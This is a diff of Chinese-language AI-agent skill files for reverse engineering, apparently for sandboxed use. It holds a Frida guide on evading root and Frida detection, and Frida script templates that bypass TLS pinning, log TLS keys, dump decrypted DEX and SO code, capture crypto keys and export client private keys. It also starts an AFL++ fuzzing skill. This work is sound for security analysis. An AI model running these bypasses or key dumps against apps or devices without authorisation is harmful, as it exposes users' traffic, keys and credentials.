# 2) 换端口 + adb 端口转发,主机用 -H 连接
|
||||
adb shell "su -c '/data/local/tmp/fridad -l 0.0.0.0:27142' &"
|
||||
adb forward tcp:27142 tcp:27142
|
||||
frida -H 127.0.0.1:27142 -f com.target.app
|
||||
```
|
||||
- root 检测对抗:先 hook 检测函数改返回值再插桩目标:`Java.use("com.target.rootcheck").isRooted.implementation = function () { return false; };`
|
||||
- 仍被检测 → frida-gadget 注入 App 进程(gadget listen(interactive)模式),配合 [[re-apk]] 的 smali 补丁加载 libgadget.so
|
||||
|
||||
7. **脚本模板与对抗方法论**:常用脚本骨架见 [[frida-scripts]](TLS keylog / DEX/SO dump / JNI 注册还原 / 加密拦截 / 检测绕过表);崩溃迭代法与检测面对照表见 [[re-analyze/anti-dynamic-workflow]]——先基线跑看裸崩,再定点 hook,不预置绕过全家桶。
|
||||
|
||||
## 跨域联合
|
||||
- [[re-address-space]]:运行时基址换算(`Process.getModuleByName(...).base` 与链接地址对齐)
|
||||
|
||||
- [[re-mobile]]:工作流第 3 步动态插桩固定调用本技能
|
||||
- [[re-apk]] / [[re-ios]]:静态分析后需要运行时行为(解密 / hook / 绕过 / 脱壳执行)时调用本技能
|
||||
- 系统调用级跟踪互补 → [[re-tracing]];运行时内存提取 → [[re-memdump]]
|
||||
- 本技能被 [[re-analyze]] 的 triage「移动 App 分析」路径调用(re-mobile → re-frida)
|
||||
- 脚本生成:目标特征 → 模板选择 → 改写验证 → [[re-frida-script-author]](模板素材 [[frida-scripts]])
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **版本不匹配 → 协议错误**:现象——`frida-ps -U` 报 `unable to communicate with the frida server` / 协议错误;原因——客户端与 frida-server major 不一致,或所用的功能在目标版本上不存在;对策——先查 major 是否匹配(`frida --version` 对照 frida-server 版本,见工具准备),再确认该功能是否被对应版本支持;升级侧用 `pip install -U frida-tools`
|
||||
- **Frida 17 移除静态 Module 查找/枚举 API**:现象——脚本报 `TypeError: Module.findExportByName is not a function`(或 getExportByName / enumerateExports / findBaseAddress 同类);原因——17.0.0 起静态查找与枚举 API 全部移除,静态只余 `Module.load` / `Module.findGlobalExportByName` / `Module.getGlobalExportByName`,其余改为**模块实例方法**;对策——先取实例再查:`Process.getModuleByName("libfoo.so").findExportByName("func")`(find 返 null,get 抛异常)、基址用 `.base`、枚举用 `.enumerateExports()`;全局符号(原 `null` 模块参数)改用 `Module.findGlobalExportByName(...)`;注意 `Process.getModuleByName` 在模块未加载时**抛异常**(旧 `Module.findExportByName` 返 null)——不确定时先用 `Process.findModuleByName` 判空再查;动笔前 `frida --version` 确认版本再选写法(迁移清单见 [[re-frida-script-author]] 版本相关组)
|
||||
- **spawn 时机晚 → 错过早期逻辑**:现象——attach 后 hook 不触发或早期解密已完成;原因——应用启动即解密 / 校验,attach 时已过;对策——用 `-f` spawn 模式起步即插桩;仍错过则 hook `dlopen` / `ClassLoader.loadClass` 这类更早的执行点
|
||||
- **目标检测 frida(端口 / 特征)**:现象——spawn 后应用闪退 / 卡死 / 行为异常;原因——应用扫描 27042 端口、frida-server 路径、`frida` 线程名或 maps 特征;对策——步骤 5 改名 + 换端口;仍检测用 frida-gadget 注入(隐藏于进程内)
|
||||
- **root 检测拦插桩**:现象——frida 可连接但 hook 不生效或直接退出;原因——应用先做 root / 越狱检测,检测到环境直接退出;对策——先 hook 检测函数返回值(步骤 5 模板),过了检测再 hook 目标函数
|
||||
- **JS 脚本静默失败**:现象——脚本加载无报错但 hook 无输出;原因——类名写错、`Java.perform` 外调用 Java API、模块名大小写不符;对策——用步骤 3 的枚举先核对名称,脚本内 `console.log` 打桩定位
|
||||
- **hook 导出 API 被壳绕过(直 syscall / API 名哈希)**:现象——成功 hook 了 `IsDebuggerPresent`/`NtQueryInformationProcess` 等导出,反调试照样触发、进程退出;原因——加壳/加固目标不走导入表:自实现 `GetProcAddress`、API 名存哈希,或直接 syscall(内联 `Nt*` 直调),hook 点根本没经过;对策——hook 更深一层(ntdll 的 syscall 包装点)、跟踪 `GetProcAddress`/哈希解析处反推真实调用点,反调试与反 VM(`RegOpenKeyExA`/`GetSystemFirmwareTable`)API 一并 hook(Arkana 项目实战模板),先用 `Process.enumerateModules()`/`enumerateExports` 确认实际调用目标再插桩
|
||||
- **检测点升级(memfd/JIT 池/内存字符串/管道名)**:现象——改名、换端口启动 frida-server 后仍被检测;原因——新版检测不止端口与路径:扫描 `/proc/self/fd` 的 memfd 名称、JIT 缓存池(pool-frida)、`frida_agent.so`/`frida_rpc` 等内存字符串与导出符号、管道/linjector 名称,甚至非标准端口也会被扫(Promon 式扫描);对策——用 undetected-frida 补丁集(字符串/符号/线程/协议/memfd/JIT 池全量混淆,Magisk/KSU 模块形态),或 frida-gadget + 自编译隐藏版,缩小指纹面
|
||||
- **强加固(Pairipcore 类)整体对抗 Frida**:现象——常见 hook 脚本(证书绕过/反检测/解密)全部失效,spawn 即闪退或行为异常,社区报告 frida-interception 类脚本无法绕过;原因——商业加固做 C++/Java 双层完整性校验 + 伪 VM 指令 + 自定义 dlopen/dlsym/syscall 动态导入混淆 + prctl/clone/waitpid/ptrace 反调试 + `/proc/self/maps`+`/proc/self/status` 进程监控 + 非标准端口扫描,整体防线而非单点;对策——先处理完整性校验与进程监控(hook 校验函数返回、patch 监控点)再过反调试,hook 落到自定义导入解析处而非导出 API,必要时结合 [[re-apk]] 静态改 smali + Native 层插桩配合
|
||||
- **hook 出口函数多进程/多实现排查**:现象——hook `SocketOutputStream` 无结果,抓包却看到流量;原因——应用多进程(发流量的逻辑在子进程)或使用 Netty 的 `SocketChannelImpl`(不走 OutputStream 路径);对策——排查顺序:hook 最外层出口 → 无果 `ps -e` 查子进程分别 hook → 再试 `SocketChannelImpl` 等替代实现;hook 成功后打印堆栈(Netty 的 `MessageToByteEncoder` 链)定位组装/加密代码;从"编解码器链"逐层向上追明文对象与加密产物
|
||||
- **对称加密密钥传输追踪**:现象——抓到 RC4/AES 密文包,但密钥每次会话都变、静态搜不到;原因——对称加密密钥动态生成且在线传输(明文/加密后携带/协商);对策——hook 密钥传入处(加密函数参数 `bArr` 类)拿当前密钥,再向上追踪密钥来源与传输路径,配合抓包对照(首包固定头如 `89 04 01 01` 可作协议锚点)
|
||||
- **多层 TLS 校验栈**:现象——单点 hook 后部分请求仍 SSL 错误;原因——App 同时用 OkHttp/原生 HttpsURLConnection/Conscrypt 多套栈;对策——分层覆盖(OkHttp CertificatePinner + TrustManagerImpl.verifyChain + HostnameVerifier 同时 hook),全栈覆盖才算绕过完成
|
||||
- **ProGuard 混淆后定位目标类**:现象——类名被改成短名;原因——混淆;对策——jadx 里 Find Usages 反查谁实例化关键 Builder,从实例化点反推原类
|
||||
(来源:reverse-skill field-journal,MIT)
|
||||
- **测试环境选错 → 动态假阴性 / 交付假阳性**:现象——同一环境里 hook 不触发、内存 patch 无效果,或模拟器一切正常但换真机就出问题;原因——x86 翻译层模拟器上 live Frida 不可用(`Process.arch==x64` 且找不到目标原生 so),运行时从未执行你的字节;部分目标在模拟器上校验宽松,「模拟器能跑」可能是降级假象;对策——按阶段选环境:静态 patch 与渲染回归可用任意模拟器(含 x86 翻译层),动态插桩必须原生 ARM,交付验证必须与目标匹配的真机;翻译层假象可证伪:把已知必需函数首指令 patch 成裸 `ret`,UI 照常渲染即运行时没执行你的字节,立即停掉该环境的 live 工作(盘上静态 patch 下次启动重新翻译仍可用);真机采集前 `svc power stayon true` 并唤醒,防睡眠屏造成「空白」假截图
|
||||
(来源:reverse-skills(inliver233),MIT)
|
||||
- **redroid 容器搭建与使用坑**:现象——guest 静默挂死 / servicemanager 空转、vold 崩溃、adb 反复掉线、容器无法重启;原因——binder 挂载方式错误(必须 bind-mount `/dev/binder`,不能用 `--device` 或 binderfs)、新内核无 ashmem 时未加 `androidboot.use_memfd=1`、设了 `ro.secure=1 ro.debuggable=0` 杀掉 root adb、停掉的容器 binder 已消失无法 docker restart、adbd 高负载下崩溃;对策——binder 用 bind-mount、新内核强制 use_memfd、保留 root adb(防篡改用保持签名有效而非藏 root)、重建容器后重注入 adb 公钥(`echo $PUBKEY > /data/misc/adb/adb_keys`)、大文件用 docker cp 而非 adb push、动态分析用 spawn 模式(`frida -U -f`,attach 在防篡改下常 0 命中);定位认知——它是数据采集工具而非迭代环境,采完动态数据回稳定环境做静态 patch 回归
|
||||
(来源:reverse-skills(inliver233),MIT)
|
||||
- **AOT 目标上 hook 静默不触发 / 找不到调用者**:现象——hook 无输出、目标函数静态 callers=0、门字段未知无法下针;原因——目标 so 晚于引擎加载(attach 时未加载)、虚方法经 cid 分派墙(不经 BL 调用,静态无捷径)、guard 字段位置未知;对策——等目标 so 加载后再 hook:200ms 轮询 `findModuleByName` 的 waitForLibapp 包装器,起步优先 spawn 模式;破 cid 墙:目标函数 onEnter 记 `lr`(returnAddress)+ `Thread.backtrace(Backtracer.ACCURATE)` 前 20 帧,一次回溯定位分派点;guard 定位三件套:Stalker.follow transform 里对 `ldr` 类指令放 putCallout(首个命中 PC = guard)、MemoryAccessMonitor.enable 等重建触发(arm64 支持不一需回退)、候选 hook 扫射;**运行时翻转验证前置**:live `writePointer` 翻转候选门字段 → 触发重建 → 组件消失即确认门字段,确认后再投静态 patch,省掉反复重打包;frida 17 起 Java bridge 不再内置于底层 GumJS runtime,但 `frida` CLI/REPL 与 `frida-trace` 仍自带三个 bridge,普通 `frida -l` 脚本无需改动;仅自建 agent / 走 bindings 注入脚本时需显式安装 `frida-java-bridge`(必要时用 frida-compile 打包)
|
||||
(来源:reverse-skills(inliver233),MIT)
|
||||
@@ -0,0 +1,224 @@
|
||||
# Frida 脚本模板
|
||||
|
||||
按场景选用模板,替换占位符(`<pkg>` 包名、`<cls>` 类名、`<method>` 方法名)。统一骨架:**先保存 original 引用再带 `this` 调用原方法**;输出双格式(可打印 ASCII + hex);`try/catch` 包裹;全部在沙箱内执行。通用对抗方法论见 [[re-analyze/anti-dynamic-workflow]]。
|
||||
|
||||
## 通用骨架
|
||||
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
try {
|
||||
var Cls = Java.use('<cls>');
|
||||
var orig = Cls.<method>.overloads[0].implementation;
|
||||
Cls.<method>.overloads[0].implementation = function () {
|
||||
var ret = orig.call(this, ...arguments);
|
||||
console.log(JSON.stringify({ method: '<cls>.<method>', ret: String(ret) }));
|
||||
return ret;
|
||||
};
|
||||
} catch (e) { console.log(JSON.stringify({ error: String(e) })); }
|
||||
});
|
||||
```
|
||||
|
||||
## TLS 密钥日志(SSLKEYLOGFILE 路线)
|
||||
|
||||
hook BoringSSL 的 `SSL_CTX_new`,onLeave 对每个新 SSL_CTX 注入 keylog 回调——输出可直接存为 SSLKEYLOGFILE 喂 Wireshark 解密 HTTPS 明文:
|
||||
|
||||
```javascript
|
||||
var ssl = Process.findModuleByName('libssl.so');
|
||||
if (!ssl) { console.log(JSON.stringify({ error: 'libssl not found' })); }
|
||||
else {
|
||||
var keyLogCallback = new NativeCallback(function (sslPtr, line) {
|
||||
console.log(new NativePointer(line).readCString());
|
||||
}, 'void', ['pointer', 'pointer']);
|
||||
var setKeylog = new NativeFunction(
|
||||
ssl.getExportByName('SSL_CTX_set_keylog_callback'), 'void', ['pointer', 'pointer']);
|
||||
Interceptor.attach(ssl.getExportByName('SSL_CTX_new'), {
|
||||
onLeave: function (retval) { setKeylog(new NativePointer(retval), keyLogCallback); }
|
||||
});
|
||||
}
|
||||
// 局限:仅 Android 系统自带 BoringSSL;App 内置/静态链接的 TLS 栈不覆盖
|
||||
```
|
||||
|
||||
## SSL 固定绕过(TrustManager trust-all + CertificatePinner)
|
||||
|
||||
`SSLContext.init` 时替换为 trust-all 的 `X509TrustManager`(信任任意证书链);OkHttp 的 `CertificatePinner` 是独立校验层,另行置空:
|
||||
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
try {
|
||||
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
|
||||
var TrustAll = Java.registerClass({
|
||||
name: 'com.bypass.TrustAll',
|
||||
implements: [X509TrustManager],
|
||||
methods: { checkClientTrusted: function () {}, checkServerTrusted: function () {},
|
||||
getAcceptedIssuers: function () { return []; } }
|
||||
});
|
||||
var SSLContext = Java.use('javax.net.ssl.SSLContext');
|
||||
SSLContext.init.implementation = function (km, tm, sr) {
|
||||
console.log(JSON.stringify({ event: 'ssl_trust_all', keystore: String(km), secureRandom: String(sr) }));
|
||||
this.init(km, [TrustAll.$new()], sr);
|
||||
};
|
||||
var Pinner = Java.use('okhttp3.CertificatePinner');
|
||||
Pinner.check.overload('java.lang.String', 'java.util.List').implementation = function (host, certs) {
|
||||
console.log(JSON.stringify({ event: 'cert_pinner_bypass', host: host }));
|
||||
};
|
||||
} catch (e) { console.log(JSON.stringify({ error: String(e) })); }
|
||||
});
|
||||
// 局限:仅覆盖 Java 层(OkHttp / HttpsURLConnection 等)校验;原生层直调 BoringSSL / libssl 的固定校验不走此路径
|
||||
```
|
||||
|
||||
## 内存 DEX dump(类加载点抓取)
|
||||
|
||||
hook `art::ClassLinker::DefineClass`(libart.so mangled 符号特征匹配),类加载点从参数取 DexFile 读 `begin_`/`size_`,校验 dex magic 后整段落盘:
|
||||
|
||||
```javascript
|
||||
var libart = Process.findModuleByName('libart.so');
|
||||
if (libart) {
|
||||
var sym = libart.enumerateSymbolsSync().find(s =>
|
||||
s.name.includes('ClassLinker') && s.name.includes('DefineClass') && s.name.includes('DexFile'));
|
||||
if (sym) Interceptor.attach(sym.address, {
|
||||
onEnter: function (args) {
|
||||
// 参数位次与字段偏移为版本相关经验值(Android 9:DexFile 引用在第 6 参;begin_=+8、size_=+16)
|
||||
var dexFile = args[5];
|
||||
if (dexFile.isNull()) return;
|
||||
var begin = dexFile.add(Process.pointerSize).readPointer();
|
||||
var size = dexFile.add(Process.pointerSize * 2).readUInt();
|
||||
if (size < 4 || begin.isNull() || begin.readCString(3) !== 'dex') return;
|
||||
// 以 base 去重后 readByteArray(size) 写盘到 files 目录
|
||||
console.log(JSON.stringify({ event: 'dex', base: begin.toString(), size: size }));
|
||||
}
|
||||
});
|
||||
// dlopen / android_dlopen_ext onLeave 再挂一次,兜底 libart 晚加载设备
|
||||
}
|
||||
```
|
||||
|
||||
## 内存 SO dump(运行时解密/加固)
|
||||
|
||||
```javascript
|
||||
function dumpSo(name) {
|
||||
var m = Process.getModuleByName(name);
|
||||
if (!m) return;
|
||||
Memory.protect(m.base, m.size, 'rwx');
|
||||
var buf = m.base.readByteArray(m.size);
|
||||
var out = new File('/data/local/tmp/' + name + '_' + m.base + '.so', 'wb');
|
||||
out.write(buf); out.close();
|
||||
console.log(JSON.stringify({ event: 'so_dump', name: name, base: m.base.toString(), size: m.size }));
|
||||
}
|
||||
```
|
||||
|
||||
## JNI 动态注册还原(RegisterNatives + 汇聚点双 hook)
|
||||
|
||||
libart.so 符号特征匹配(统一排除 CheckJNI);`JNI::RegisterNatives` 建 fnPtr→方法名映射,`ArtMethod::RegisterNative` 是注册汇聚点,直接拿 native 地址与 SO 内偏移:
|
||||
|
||||
```javascript
|
||||
var libart = Process.findModuleByName('libart.so');
|
||||
var map = {};
|
||||
var parseTable = function (methods, count) {
|
||||
var rows = [];
|
||||
for (var i = 0; i < count.toInt32(); i++) {
|
||||
var p = methods.add(i * Process.pointerSize * 3); // 每项 3 指针:name/sig/fnPtr
|
||||
rows.push({ name: p.readPointer().readCString(), sig: p.add(Process.pointerSize).readPointer().readCString(),
|
||||
fn: p.add(Process.pointerSize * 2).readPointer().toString() });
|
||||
}
|
||||
return rows;
|
||||
};
|
||||
if (libart) libart.enumerateSymbolsSync().forEach(function (s) {
|
||||
if (s.name.includes('JNI') && s.name.includes('RegisterNatives') && !s.name.includes('CheckJNI')) {
|
||||
Interceptor.attach(s.address, {
|
||||
onEnter: function (args) {
|
||||
var cls = Java.vm.tryGetEnv().getClassName(args[1]);
|
||||
parseTable(args[2], args[3]).forEach(function (r) { map[r.fn] = cls + '.' + r.name + r.sig; });
|
||||
}
|
||||
});
|
||||
}
|
||||
if (s.name.includes('ArtMethod') && s.name.includes('RegisterNative') && !s.name.includes('Callback')) {
|
||||
Interceptor.attach(s.address, {
|
||||
onEnter: function (args) {
|
||||
var fnPtr = args[1], mod = Process.findModuleByAddress(fnPtr);
|
||||
if (mod) console.log(JSON.stringify({ event: 'registerNative', method: map[fnPtr.toString()] || '(unresolved)',
|
||||
so: mod.name, off: '0x' + fnPtr.sub(mod.base).toString(16) }));
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
## Java 加密算法拦截(overload 全覆盖)
|
||||
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
var hex = function (b) { var s = ''; for (var i = 0; i < b.length; i++) s += ('0' + (b[i] & 0xff).toString(16)).slice(-2); return s; };
|
||||
var SKS = Java.use('javax.crypto.spec.SecretKeySpec');
|
||||
SKS.$init.overload('[B', 'java.lang.String').implementation = function (key, algo) {
|
||||
console.log(JSON.stringify({ event: 'secret_key', algo: algo, keyHex: hex(key) }));
|
||||
this.$init(key, algo);
|
||||
};
|
||||
var Cipher = Java.use('javax.crypto.Cipher');
|
||||
['(int,java.security.Key)', '(int,java.security.Certificate)',
|
||||
'(int,java.security.Key,java.security.spec.AlgorithmParameterSpec)',
|
||||
'(int,java.security.Key,java.security.SecureRandom)',
|
||||
'(int,java.security.Certificate,java.security.SecureRandom)',
|
||||
'(int,java.security.Key,java.security.AlgorithmParameters)',
|
||||
'(int,java.security.Key,java.security.AlgorithmParameters,java.security.SecureRandom)',
|
||||
'(int,java.security.Key,java.security.spec.AlgorithmParameterSpec,java.security.SecureRandom)'
|
||||
].forEach(function (sig) {
|
||||
try {
|
||||
Cipher.init.overload.apply(Cipher, sig.split(',').map(function (s) { return s.trim(); })).implementation = function (mode, key) {
|
||||
var enc = key.getEncoded ? key.getEncoded() : null;
|
||||
console.log(JSON.stringify({ event: 'cipher_init', mode: mode, keyHex: enc ? hex(enc) : null }));
|
||||
this.init.apply(this, arguments);
|
||||
};
|
||||
} catch (e) {}
|
||||
});
|
||||
// doFinal/update 输入输出双向记录;IvParameterSpec.$init 打 IV;DESKeySpec/RSAPublicKeySpec/KeyPairGenerator 同模式
|
||||
});
|
||||
```
|
||||
|
||||
## 双向 TLS 客户端证书导出(keystore dump)
|
||||
|
||||
hook `KeyStore$PrivateKeyEntry.getPrivateKey` / `getCertificateChain`(双向认证读客户端证书必经点),经 BouncyCastle PKCS12 导出 p12:
|
||||
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
var PKE = Java.use('java.security.KeyStore$PrivateKeyEntry');
|
||||
PKE.getCertificateChain.implementation = function () {
|
||||
var chain = this.getCertificateChain();
|
||||
try {
|
||||
var ks = Java.use('java.security.KeyStore').getInstance('PKCS12', 'BC');
|
||||
ks.load(null, null);
|
||||
ks.setKeyEntry('client', this.getPrivateKey(), 'hooker'.toCharArray(), chain);
|
||||
var f = Java.use('java.io.FileOutputStream').$new('/data/local/tmp/client.p12');
|
||||
ks.store(f, 'hooker'.toCharArray()); f.close();
|
||||
console.log(JSON.stringify({ event: 'keystore_dump', path: '/data/local/tmp/client.p12' }));
|
||||
} catch (e) {}
|
||||
return chain;
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
## Root / 插桩检测绕过(检测点表)
|
||||
|
||||
| 检测点 | hook 目标 | 手法 |
|
||||
|---|---|---|
|
||||
| 包名 | `ApplicationPackageManager.getPackageInfo` | 命中 root/xposed 包名列表 → 替换为假包名 |
|
||||
| 文件 | `java.io.File.exists` | 命中 su/busybox 等路径 → false |
|
||||
| 命令 | `Runtime.exec` 全部 overload / `ProcessBuilder.start` | "su" → 不存在命令;getprop/mount → "grep" |
|
||||
| 属性 | `SystemProperties.get` | ro.debuggable="0"、ro.secure="1"、ro.kernel.qemu="0" |
|
||||
| test-keys | `String.contains` / `BufferedReader.readLine` | "test-keys" → false / 改写 "release-keys" |
|
||||
| native 文件 | libc `fopen` | basename 命中 → 路径改写 /notexists |
|
||||
| native 命令 | libc `system` | 命令命中 → 改写假命令 |
|
||||
| 裸系统调用 | svc 指令特征码扫描(arm64: `01 00 00 D4`,SYS_OPENAT=56,无 open 系统调用) | 捕获绕过 libc 的文件访问(arm64 openat 路径参数在 x1,x0 是 dirfd) |
|
||||
|
||||
绕过策略不预置全家桶:基线跑原样目标 → 崩溃特征反推保护点(对照表见 [[re-analyze/anti-dynamic-workflow]])→ 定点 hook;迭代 3-5 层是常态。
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- 返回值只能在 **onLeave 用 `retval.replace()`** 改;保存 original 后必须带原 `this` 调用
|
||||
- `Java.use` 同一类有缓存,多个 `.implementation` 赋值**静默覆盖**——相关 hook 合并进一个
|
||||
- 符号定位统一 `enumerateSymbolsSync` + mangled 名特征匹配,排除 CheckJNI / `__va_list`
|
||||
- 参数索引与字段偏移是版本相关经验值(跨版本需对照目标符号核实)
|
||||
- 客户端 hook 无法伪造**服务端** attestation 结论——服务端校验只写「无法绕过」
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 全部在沙箱内执行(见 [[re-analyze/platform-tips]] 最高原则);`--pause` 覆盖早期代码检查
|
||||
- 输出 JSON 供 [[re-analyze/analysis-contract]] 数据契约消费(证据存档)
|
||||
154
vendor-new/rev-skills/.claude/skills/re-fuzzing/SKILL.md
Normal file
154
vendor-new/rev-skills/.claude/skills/re-fuzzing/SKILL.md
Normal file
@@ -0,0 +1,154 @@
|
||||
---
|
||||
name: re-fuzzing
|
||||
description: >
|
||||
覆盖率引导模糊测试:AFL++/libFuzzer/honggfuzz、插桩与语料初始化、
|
||||
afl-fuzz 运行参数、覆盖率(afl-cov)、字典/结构化输入。
|
||||
触发词:fuzz、模糊测试、AFL、afl-fuzz、libFuzzer、honggfuzz、
|
||||
覆盖率、corpus、语料、dictionary、挖洞、fuzzing。
|
||||
capabilities: [fuzzing]
|
||||
---
|
||||
|
||||
# 覆盖率引导模糊测试(AFL++ / libFuzzer / honggfuzz)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:目标有明确输入面(文件解析 / 库函数 / 网络协议解析),要自动化找崩溃;有源码可插桩(或无源码愿意用 QEMU 模式);需要持续回归找新 bug
|
||||
- 不用:目标无输入解析(纯算法/纯逻辑 → 符号执行 [[re-angr]] / [[re-z3]]);已有崩溃只需分析(→ [[re-crash-triage]]);目标是内核/驱动(走 [[re-kernel]] 域思路,不在用户态 fuzz 范围)
|
||||
- 不用:只有单个崩溃样本要复现(直接走 [[re-crash-triage]],无需重跑 fuzz)
|
||||
|
||||
## 工具准备
|
||||
|
||||
所有工具先验证再使用。fuzz 是动态执行,一律在沙箱内跑([[re-analyze/platform-tips]] 最高原则,见 [[re-sandbox]])。
|
||||
|
||||
### AFL++ —— 覆盖率引导 fuzz 主力
|
||||
|
||||
- Debian/Ubuntu: `sudo apt install afl++`
|
||||
- Fedora: `sudo dnf install american-fuzzy-lop american-fuzzy-lop-clang`(包即 AFL++ fork);或源码编译拿最新版(见下)
|
||||
- Arch: `sudo pacman -S afl++`
|
||||
- macOS: `brew install afl++`
|
||||
- Windows: WSL2 内 `sudo apt install afl++`(AFL++ 官方支持 WSL;Windows 本机不可直接跑)
|
||||
- 源码编译(推荐,版本最新、含全部模式):
|
||||
```sh
|
||||
git clone https://github.com/AFLplusplus/AFLplusplus && cd AFLplusplus
|
||||
make distrib # 需要 clang/LLVM 工具链
|
||||
sudo make install
|
||||
```
|
||||
- 验证: `afl-fuzz -h`(打印 usage 即 OK);`afl-clang-fast --version`
|
||||
|
||||
### clang / LLVM —— libFuzzer 宿主 + ASAN 编译器
|
||||
|
||||
- Debian/Ubuntu: `sudo apt install clang`
|
||||
- Fedora/RHEL: `sudo dnf install clang`
|
||||
- Arch: `sudo pacman -S clang`
|
||||
- macOS: Xcode 自带(`xcode-select --install` 补命令行工具),或 `brew install llvm`
|
||||
- Windows: WSL2 内 Linux 版;本机 Visual Studio 的 clang-cl 亦可(MSVC 支持 `/fsanitize=fuzzer`)
|
||||
- 验证: `clang --version`
|
||||
|
||||
### libFuzzer —— 库函数 / 单函数 fuzz(随 clang 附带)
|
||||
|
||||
- 无需单独安装:clang 自带,`-fsanitize=fuzzer` 即启用
|
||||
- 验证:
|
||||
```sh
|
||||
clang -fsanitize=fuzzer -x c /dev/null -o /tmp/fztest && /tmp/fztest -runs=1
|
||||
```
|
||||
输出含 `INFO: libFuzzer` 即 OK(`/tmp/fztest` 用完可删)
|
||||
|
||||
### honggfuzz —— 硬件计数器 / 多线程 fuzz 备选
|
||||
|
||||
- Debian/Ubuntu: 无官方包 → 源码编译:
|
||||
```sh
|
||||
sudo apt install build-essential binutils-dev libunwind-dev libblocksruntime-dev clang
|
||||
git clone https://github.com/google/honggfuzz && cd honggfuzz && make
|
||||
```
|
||||
- Fedora/RHEL: `sudo dnf install honggfuzz`
|
||||
- Arch: `sudo pacman -S honggfuzz`(或 AUR 包 `honggfuzz`)
|
||||
- macOS: 无 brew 公式 → 源码编译(需 Xcode + libblocksruntime)
|
||||
- Windows: WSL2 内 Linux 版
|
||||
- 验证: `honggfuzz --help`
|
||||
|
||||
### afl-cov —— 覆盖率统计(gcov/lcov 前端)
|
||||
|
||||
- 依赖 lcov/gcov: `sudo apt install lcov` / `sudo dnf install lcov` / `sudo pacman -S lcov`(gcov 随 gcc 自带)
|
||||
- 本体无 pip 包,git clone 直接运行:
|
||||
```sh
|
||||
git clone https://github.com/mrash/afl-cov && cd afl-cov
|
||||
```
|
||||
- 验证: `./afl-cov -V`
|
||||
- 注意:afl-cov 需要目标用 gcov 插桩编译(`gcc -fprofile-arcs -ftest-coverage`),与 AFL 插桩不兼容——**同一份代码编两次**:一次 afl+ASAN 版跑 fuzz,一次 gcov 版测覆盖率
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行;每步产物(harness 源码、语料目录、fuzz 输出目录)记录路径,供 [[re-crash-triage]] / 报告引用。
|
||||
|
||||
1. **目标与插桩选择**:
|
||||
- 源码可编译 → AFL++ 编译器包装器 + ASAN:
|
||||
```sh
|
||||
CC=afl-clang-fast CXX=afl-clang-fast++ AFL_USE_ASAN=1 ./configure && make
|
||||
# 简单单文件目标:
|
||||
afl-clang-fast -fsanitize=address -g -O1 -o target target.c
|
||||
```
|
||||
- 无源码 → `-Q` QEMU 模式(`afl-fuzz -Q ...`),无需插桩但慢 2-5 倍
|
||||
- 目标是库函数 → 写 fuzz target(harness)读文件喂解析 API:
|
||||
```c
|
||||
/* fuzz_target.c —— 以 libpng 的 png_read 入口为例 */
|
||||
#include <stdint.h>
|
||||
extern int my_parse(const char *data, size_t len); /* 目标解析入口 */
|
||||
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
|
||||
my_parse((const char *)data, size);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
libFuzzer 编译:`clang -fsanitize=fuzzer,address -g -O1 -o fuzz_target fuzz_target.c target_lib.c`
|
||||
AFL++ 编译同一 harness:`afl-clang-fast -fsanitize=fuzzer,address -o fuzz_target_afl fuzz_target.c`(afl-clang-fast 拦截 `-fsanitize=fuzzer` 并链接自带 driver),运行 `afl-fuzz -i in -o out -- ./fuzz_target_afl @@`
|
||||
- 网络目标 → 见坑 5:harness 直调解析函数(数据来自文件),不要 fuzz 整个服务进程
|
||||
2. **语料初始化**:
|
||||
```sh
|
||||
mkdir in out
|
||||
# 每个种子是目标可正常解析的最小有效输入(别拿空文件起步)
|
||||
cp seed_sample.bin in/
|
||||
afl-cmin -i in -o in_min -- ./target @@ # 去重:只留覆盖不同路径的种子
|
||||
```
|
||||
- 语料质量比数量重要:10 个覆盖不同解析分支的小样本 > 1000 个同类大文件(见坑 2)
|
||||
- 空语料/纯空文件起步:前几千 execs 全在 EOF 分支,解析逻辑迟迟不被覆盖
|
||||
3. **afl-fuzz 运行参数**:
|
||||
```sh
|
||||
afl-fuzz -i in_min -o out -m none -t 1000+ -x dict.txt -- ./target @@
|
||||
```
|
||||
- `-m none`:ASAN 程序默认内存限制会误杀,必加(见坑 4)
|
||||
- `-t 1000+`:初始超时给足(`+` 号表示随路径增长自适应)
|
||||
- `@@` 占位符 = fuzz 生成的文件路径;输入走 stdin 则去掉 `@@`
|
||||
- 多核多实例:`-M main` 主实例 + `-S secondary1` 等从实例(共享同一 out 目录);`afl-whatsup out` 看汇总
|
||||
- 续跑:`afl-fuzz -i - -o out ...`(`-i -` 复用已有输出目录)
|
||||
- 运行时长:24h+ 才有统计意义,别早期就停;出现崩溃后不打断,另开分析([[re-crash-triage]] 可用 `afl-tmin` 在 out/crashes 上工作)
|
||||
4. **覆盖率(afl-cov)**:
|
||||
- 运行中实时看:`afl-whatsup out`——`paths_total` 增长 + `execs_done` 高 = 正常
|
||||
- gcov 版目标(与 fuzz 版本分开编):
|
||||
```sh
|
||||
gcc -fprofile-arcs -ftest-coverage -g -O0 -o target_gcov target.c
|
||||
```
|
||||
- 汇总:
|
||||
```sh
|
||||
./afl-cov -d out --live --coverage-cmd "cat AFL_FILE | ./target_gcov" --code-dir .
|
||||
```
|
||||
产出在 `out/cov/`,HTML 报告 `out/cov/web/`(lcov/genhtml 生成)
|
||||
- 无 gcov 的替代:`afl-showmap -o /tmp/map -- ./target @@` 看单输入覆盖哪些块;对比两个输入的 map 判断是否覆盖新路径
|
||||
5. **字典 / 结构化输入**:
|
||||
- 字典 `-x dict.txt`:关键词(魔数、分隔符、关键字)降低跨格式变异成本;AFL++ 自带大量格式字典(`AFLplusplus/dictionaries/` 含 png/pdf/jpeg/tiff 等,直接 `-x` 引用)
|
||||
